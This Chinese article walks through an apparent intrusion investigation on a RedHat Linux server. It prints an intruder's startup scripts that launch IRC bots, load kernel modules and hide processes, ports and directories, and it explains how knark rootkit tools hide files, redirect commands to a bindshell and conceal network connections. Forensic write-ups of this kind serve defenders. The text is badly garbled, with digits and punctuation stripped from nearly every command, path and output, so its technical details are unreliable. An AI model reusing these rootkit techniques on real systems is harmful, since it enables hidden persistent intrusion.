电脑故障

位置:IT落伍者 >> 电脑故障 >> 浏览文章

分析入侵者的过程和步骤


发布日期:2024/5/5
 

意外

时间下午

地点某台RedHat Linux机器

#uname a

Linux *net # Mon Apr :: EDT iunknown

俺习惯性地先进到/etc/rcd/initd看了一下马上发现异状

#ls la

……

rwxrxrx root root Mar netfs

rwxrxrx root root Mar : network

rwxrxrx root root Apr nfs

……

初步检查

明显是个新手干的嘛network文件被人动过了咱们用stat命令看看先

#stat network

File: network

Size: Filetype: Regular File

Mode: (/rwxrxrx) Uid: ( / root) Gid: ( / root)

Device: Inode: Links:

Access: Sun Mar :: (::)

Modify: Sun Mar :: (::)

Change: Sun Mar :: (::)

最后被人改动的时间是号的凌晨让我们来看看他往文件里加了什么吧

#cat network

……

/usr/lib/libddso

就是这么一句加在文件末尾看来的确是手段不甚高明瞧瞧这是个什么文件先

#file /usr/lib/libddso

/usr/lib/libddso: ELF bit LSB executable Intel version

dynamically linked (uses shared libs) not stripped

是个二进制的可执行文件执行下strings看是否眼熟

#strings /usr/lib/libddso

/lib/ldlinuxso

__gmon_start__

libcso

system

__deregister_frame_info

_IO_stdin_used

__libc_start_main

__register_frame_info

GLIBC_

PTRh

/boot/pty/gosh <--------这条信息看上去比较有趣

哦,这就简单了嘛,俺看看这里面的路径:

#cd /boot/.pty0

#cat go.sh

#!/bin/bash

f=`ls -al /boot | grep .pty0`

if [ -n "$f" ]; then

cd /boot/.pty0

./mcd -q

cd mech1

./mech -f conf 1>/dev/null >/dev/null

cd

cd mech

/mech f conf >/dev/null >/dev/null

cd

cd mech

/mech f conf >/dev/null >/dev/null

cd

/sbin/insmod paraporto >/dev/null >/dev/null

/sbin/insmod iBCSo >/dev/null >/dev/null

/ascundesh

fi

有点晕看不明白mcdmech这些东西是干嘛用的再看一下下一个脚本是什么

#cat ascundesh

#!/bin/bash

for proces in `/bin/cat /boot/pty/hdm`; do

P=`/sbin/pidof $proces`

if [ n $P ]; then

killall $proces >/dev/hdm >/dev/hdm

fi

done

for port in `/bin/cat /boot/pty/hdm`; do

/nethide `/dechex $port` >/dev/hdm >/dev/hdm

done

for director in `/bin/cat /boot/pty/hdm`; do

/hidef $director >/dev/hdm >/dev/hdm

done

看到这里事情开始有趣了这似乎不是一个三流的scriptkiddle干的活嘛打个包拖回来先于是俺

#cd /boot

#ls la

total

drwxrxrx root root Mar :

drwxrxrx root root Mar :

lrwxrwxrwx root root Sep Systemmap >Systemmap

rwrr root root Apr Systemmap

rwrr root root Sep boot

rwrr root root Apr bootb

rwrr root root Apr chainb

rw root root Sep map

lrwxrwxrwx root root Sep moduleinfo >moduleinfo

rwrr root root Apr moduleinfo

rwrr root root Apr os_db

rwxrxrx root root Apr vmlinux

lrwxrwxrwx root root Sep vmlinuz >vmlinuz

rwrr root root Apr vmlinuz

事情更有趣了……居然没有看到pty的目录

#cd pty

#ls laF

total

drwxrxrx root root Mar : /

rwxrxrx root root Mar : ascundesh*

rwxrxrx root root Mar : dechex*

rwxrxrx root root Mar : ered*

rwxrxrx root root Mar : gosh*

rwxrxrx root root Mar : hidef*

rwrr root root Mar : iBCSo

rwrr root root Mar : mtgz

rwxrxrx root root Mar : mcd*

drwxrxrx root root Mar : mech/

drwxrxrx root root Mar : mech/

drwxrxrx root root Mar : mech/

rwxrxrx root root Mar : nethide*

rwrr root root Mar : paraporto

rwrr root root Mar : ssh_host_key

rw root root Mar : ssh_random_seed

rwrr root root Mar : sshd_config

看来是加载了某个lkm了比较讨厌

#/sbin/lsmod

Module Size Used by

nfsd (autoclean)

lockd (autoclean) [nfsd]

sunrpc (autoclean) [nfsd lockd]

cx (autoclean)

这些是正常的lkm么?前三个模块跟rpc有关不知开了哪些rpc服务

#/usr/sbin/rpcinfo p localhost

program vers proto port

tcp rpcbind

tcp status

udp rquotad

tcp mountd

udp nfs

tcp nlockmgr

原来如此难怪会被入侵该开的全开了不过也证明了nfsdlockdsunrpc这三个模块没问题了

再来看看网卡吧cx是网卡的驱动模块

#/sbin/ifconfig a

/sbin/ifconfig a

lo Link encap:Local Loopback

inet addr: Bcast: Mask:

UP LOOPBACK RUNNING MTU: Metric:

RX packets: errors: dropped: overruns:

TX packets: errors: dropped: overruns:

eth Link encap:Mbps Ethernet HWaddr ::A::B:

inet addr:**** Bcast:*** Mask:

UP BROADCAST RUNNING MULTICAST MTU: Metric:

RX packets: errors: dropped: overruns:

TX packets: errors: dropped: overruns:

Interrupt: Base address:xe

#dmesg|grep eth

eth: Com cB Cyclone baseTx at xe ::a::b:IRQ

eth: Setting promiscuous mode

device eth entered promiscuous mode

看来这些模块都是正常的但比较狠的就是——device eth enteredpromiscuousmode——看来这入侵者架了sniffer开听了但关键是现在这个入侵者加载了个俺看不到的家伙有些晕了……咦对了看看文件名先……

模块介绍

nethide?似乎有点印象……好吧到俺的一堆破烂里找找……咦找到一篇knarkhacking的文章里面有提到nethide先当下一个来玩玩吧有个版本号为knark是对LinuxKernel 行……咱们先看看这是什么样的内核模块

除了taskhackc之处所有这些文件都是基于knarko模块的正确加载

hidef用来隐藏你的文件或者目录你可以建立一个目录比如/boot/pty然后键入/hidef/boot/pty于是这这个目录便被隐藏起来并且连du之类的命令也不能找出它来同样的子目录下的任何文件也一样地被藏得天衣无缝

ered用来重定向执行某个程序比如说你把一个bindsh*ll 的程序拷到/boot/pty/bindsh*ll 然后可以用/ered /bin/ls/boot/pty/bindsh*ll 这样的命令将ls重定向到bindsh*ll 当然这样的话ls是没变但已经不能正确执行了如果要清除所有的命令重定向可以键入/ered c nethide用来隐藏/proc/net/tcp及/proc/net/udp里的连接进程——netstat就是从这里面获取信息并 输出

上一篇:Red Hat Network分析(二)

下一篇:checkpoint小议